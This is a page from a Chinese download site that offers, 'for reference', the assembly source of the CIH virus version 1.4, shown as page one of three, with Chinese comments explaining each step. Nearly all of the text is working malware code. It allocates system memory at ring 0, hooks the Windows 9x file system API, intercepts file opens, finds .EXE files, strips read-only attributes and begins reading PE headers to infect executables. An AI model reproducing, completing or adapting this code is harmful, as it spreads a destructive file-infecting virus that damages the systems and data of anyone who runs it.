⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cih.txt

📁 CIH病毒1.4源码. 供大家参考
💻 TXT
📖 第 1 页 / 共 3 页
字号:
push 00000000fh ; 
push ecx ; 
push 0ffffffffh ; 
push ecx ;调用方法ULONG EXTERN _PageAllocate(ULONG nPages, ULONG pType, ULONG VM, 
;ULONG AlignMask, ULONG minPhys, ULONG maxPhys, ULONG *PhysAddr,
;ULONG flags); 
push ecx ; 
push ecx ; 
push 000000001h ; 
push 000000002h ; 
int 20h ; VMMCALL _PageAllocate;VXD调用
_PageAllocate = $ ; 
dd 00010053h ; Use EAX, ECX, EDX, and flags 
add esp, 08h*04h ;恢复栈指针 

xchg edi, eax ; EDI = SystemMemory Start Address 
; EDI指向分配好的系统内存首址 
lea eax, MyVirusStart-@2[esi] ;eax指向病毒开始处 

iretd ; Return to Ring3 Initial Program ;退出中断,回3级(回到"Merge All Virus Code Section") 

; ************************************* 
; * Install My File System Api Hook * 
; ************************************* 

InstallMyFileSystemApiHook: 

lea eax, FileSystemApiHook-@6[edi] ;指向文件系统钩子程序首址 

push eax ; 
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook 
IFSMgr_InstallFileSystemApiHook = $ ; 
dd 00400067h ; Use EAX, ECX, EDX, and flags 
;在调用后变为call [IFSMgr_InstallFileSystemApiHook] 
mov dr0, eax ; Save OldFileSystemApiHook Address 
;保存原来的文件系统钩子程序首址到dr0(改调用的返回值是前一个链值) 
pop eax ; EAX = FileSystemApiHook Address 

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point 
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] 
mov edx, [ecx] ;edx为IFSMgr_InstallFileSystemApiHook功能的地址 
mov OldInstallFileSystemApiHook-@3[eax], edx ?;保存 

; Modify IFSMgr_InstallFileSystemApiHook Entry Point 
lea eax, InstallFileSystemApiHook-@3[eax] 
mov [ecx], eax ?;设置新的IFSMgr_InstallFileSystemApiHook功能调用的地址 
;使指向InstallFileSystemApiHook 
cli 

jmp ExitRing0Init ?;退出0级(int 3 or int 5) 

; ********************************************************* 
; * Code Size of Merge Virus Code Section * 
; ********************************************************* 

CodeSizeOfMergeVirusCodeSection = offset $ 

; ********************************************************* 
; * IFSMgr_InstallFileSystemApiHook * 
; ********************************************************* 

InstallFileSystemApiHook: ;新的IFSMgr_InstallFileSystemApiHook功能调用 
push ebx 

call @4 ; 
@4: ; 
pop ebx ; mov ebx, offset FileSystemApiHook ;获得当前指令的偏移地址 
add ebx, FileSystemApiHook-@4 ;加上偏移的差=FileSystemApiHook的偏移 

push ebx 
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook ;调用VXD移去指向FileSystemApiHook的钩子 
IFSMgr_RemoveFileSystemApiHook = $ 
dd 00400068h ; Use EAX, ECX, EDX, and flags ;调用号 
pop eax 

; Call Original IFSMgr_InstallFileSystemApiHook 
; to Link Client FileSystemApiHook 
push dword ptr [esp+8] 
call OldInstallFileSystemApiHook-@3[ebx] ;调用原来的IFSMgr_InstallFileSystemApiHook功能设置钩子 
pop ecx 

push eax 

; Call Original IFSMgr_InstallFileSystemApiHook 
; to Link My FileSystemApiHook 
push ebx 
call OldInstallFileSystemApiHook-@3[ebx] ;调用原来的IFSMgr_InstallFileSystemApiHook功能设置钩子 
pop ecx 

mov dr0, eax ; Adjust OldFileSystemApiHook Address ;调整原来的地址 

pop eax 

pop ebx 

ret 

; ********************************************************* 
; * Static Data * 
; ********************************************************* 

OldInstallFileSystemApiHook dd ? ;原来的InstallFileSystemApiHook调用的地址 

; ********************************************************* 
; * IFSMgr_FileSystemHook * 
; ********************************************************* 

; ************************************* 
; * IFSMgr_FileSystemHook Entry Point * 
; ************************************* 

FileSystemApiHook: ;安装好的文件系统钩子 
@3 = FileSystemApiHook 

pushad ;保存寄存器(20h长) 

call @5 ; 
@5: ; 
pop esi ; mov esi, offset ;esi为当前指令的偏移 
add esi, VirusGameDataStartAddress-@5 
;esi为FileSystemApiHook的偏移加上到VirusGameDataStartAddress的偏移之差=VirusGameDataStartAddress的偏移

; ************************************* 
; * Is OnBusy !? * 
; ************************************* 

test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) ;测试"忙"标志
jnz pIFSFunc ; goto pIFSFunc ;"忙"则转到pIFSFunc

; ************************************* 
; * Is OpenFile !? * 
; ************************************* 

; if ( NotOpenFile ) 
; goto prevhook 
lea ebx, [esp+20h+04h+04h] ;ebx为FunctionNum的地址
;文件系统钩子的调用格式如下 
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,int ResourceFlags, int CodePage, pioreq pir)

;助标2 
cmp dword ptr [ebx], 00000024h ;测试此次调用是否是为了打开文件
;在DDK的ifs.h中定义的#define IFSFN_OPEN 36 
jne prevhook ;不是就跳到前一个文件钩子去 

; ************************************* 
; * Enable OnBusy * 
; ************************************* 

inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ;设置"忙"标志为"忙" 

; ************************************* 
; * Get FilePath's DriveNumber, * 
; * then Set the DriveName to * 
; * FileNameBuffer. * 
; ************************************* 
; * Ex. If DriveNumber is 03h, * 
; * DriveName is 'C:'. * 
; ************************************* 

; mov esi, offset FileNameBuffer 
add esi, FileNameBuffer-@6 ;esi指向FileNameBuffer 

push esi ;保存之 

mov al, [ebx+04h] ;ebx+4为int Drive的地址 
cmp al, 0ffh ;是否是UNC(universal naming conventions)地址 
je CallUniToBCSPath ;是就转 

add al, 40h 
mov ah, ':' 

mov [esi], eax ;处理成"X:"的形式 

inc esi 
inc esi 

; ************************************* 
; * UniToBCSPath * 
; ************************************* 
; * This Service Converts * 
; * a Canonicalized Unicode Pathname * ;把Canonicalized Unicode的字符转换为普通的BCS字符集 
; * to a Normal Pathname in the * 
; * Specified BCS Character Set. * 
; ************************************* 
;调用方法 UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath, unsigned int maxLength, int charSet)


CallUniToBCSPath: 
push 00000000h ;字符集 
push FileNameBufferSize ;字符长度 
mov ebx, [ebx+10h] 
mov eax, [ebx+0ch] 
add eax, 04h 
push eax ;Uni字符首址 
push esi ;BCS字符首址 
int 20h ; VXDCall UniToBCSPath ;调用UniToBCSPath 
UniToBCSPath = $ 
dd 00400041h ;调用id 
add esp, 04h*04h 

; ************************************* 
; * Is FileName '.EXE' !? * 
; ************************************* 

; cmp [esi+eax-04h], '.EXE' 
cmp [esi+eax-04h], 'EXE.' ;测试是否是*.EXE(可执行)文件 
pop esi 
jne DisableOnBusy 

IF DEBUG 

; ************************************* 
; * Only for Debug * 
; ************************************* 

; cmp [esi+eax-06h], 'FUCK' 
cmp [esi+eax-06h], 'KCUF' ;如果是测试用途则测试是否是"FUCK.EXE" 
jne DisableOnBusy 

ENDIF 

; ************************************* 
; * Is Open Existing File !? * 
; ************************************* 

; if ( NotOpenExistingFile ) 
; goto DisableOnBusy 
cmp word ptr [ebx+18h], 01h ;测试是否打开 
jne DisableOnBusy 

; ************************************* 
; * Get Attributes of the File * 
; ************************************* 

mov ax, 4300h ;IFSMgr_Ring0_FileIO的获得文件属性号(R0_FILEATTRIBUTES/GET_ATTRIBUTES) 
int 20h ; VXDCall IFSMgr_Ring0_FileIO ;调用IFSMgr_Ring0_FileIO的获得文件属性的功能 
IFSMgr_Ring0_FileIO = $ 
dd 00400032h ;调用号 

jc DisableOnBusy ;失败否? 

push ecx 

; ************************************* 
; * Get IFSMgr_Ring0_FileIO Address * 
; ************************************* 

mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] 
mov edi, [edi] ;获得IFSMgr_Ring0_FileIO调用的地址 

; ************************************* 
; * Is Read-Only File !? * 
; ************************************* 

test cl, 01h 
jz OpenFile ;测试是否是只读文件 

; ************************************* 
; * Modify Read-Only File to Write * 
; ************************************* 

mov ax, 4301h ;IFSMgr_Ring0_FileIO的获得文件属性号(R0_FILEATTRIBUTES/SET_ATTRIBUTES ) 
xor ecx, ecx 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;调用IFSMgr_Ring0_FileIO的改文件属性功能,使文件可写


; ************************************* 
; * Open File * 
; ************************************* 

OpenFile: 
xor eax, eax 
mov ah, 0d5h ;IFSMgr_Ring0_FileIO的打开文件功能号(R0_OPENCREATFILE or RO_OPENCREAT_IN_CONTEXT)
xor ecx, ecx ;文件属性 
xor edx, edx 
inc edx 
mov ebx, edx 
inc ebx ;esi为文件名首址 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;调用IFSMgr_Ring0_FileIO的打开文件功能 

xchg ebx, eax ; mov ebx, FileHandle ;在ebx中保存文件句柄 

; ************************************* 
; * Need to Restore * 
; * Attributes of the File !? * 
; ************************************* 

pop ecx 

pushf 

test cl, 01h 
jz IsOpenFileOK ;是否需要恢复文件属性(有写属性就不需要恢复了) 

; ************************************* 
; * Restore Attributes of the File * 
; ************************************* 

mov ax, 4301h ;IFSMgr_Ring0_FileIO的获得文件属性号(R0_FILEATTRIBUTES/SET_ATTRIBUTES) 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;恢复文件属性 

; ************************************* 
; * Is Open File OK !? * 
; ************************************* 

IsOpenFileOK: 
popf 

jc DisableOnBusy ;打开是否成功? 

; ************************************* 
; * Open File Already Succeed. ^__^ * 
; ************************************* 

push esi ; Push FileNameBuffer Address to Stack ;把文件名数据区首址压栈 

pushf ; Now CF = 0, Push Flag to Stack ;保存标志位 

add esi, DataBuffer-@7 ; mov esi, offset DataBuffer ;esi指向数据区首址 

; *************************** 
; * Get OffsetToNewHeader * 
; *************************** 

xor eax, eax 
mov ah, 0d6h ;IFSMgr_Ring0_FileIO的读文件功能号(R0_READFILE) 

; For Doing Minimal VirusCode's Length, 
; I Save EAX to EBP. 
mov ebp, eax 

push 00000004h ;读取4个字节 
pop ecx 
push 0000003ch ;读取dos文件头偏移3ch处的Windows文件头首部偏移 
pop edx 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;读文件到esi 

mov edx, [esi] ;Windows文件头首部偏移放到edx 

; *************************** 
; * Get 'PE\0' Signature * 
; * of ImageFileHeader, and * 
; * Infected Mark. * 
; *************************** 

dec edx 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -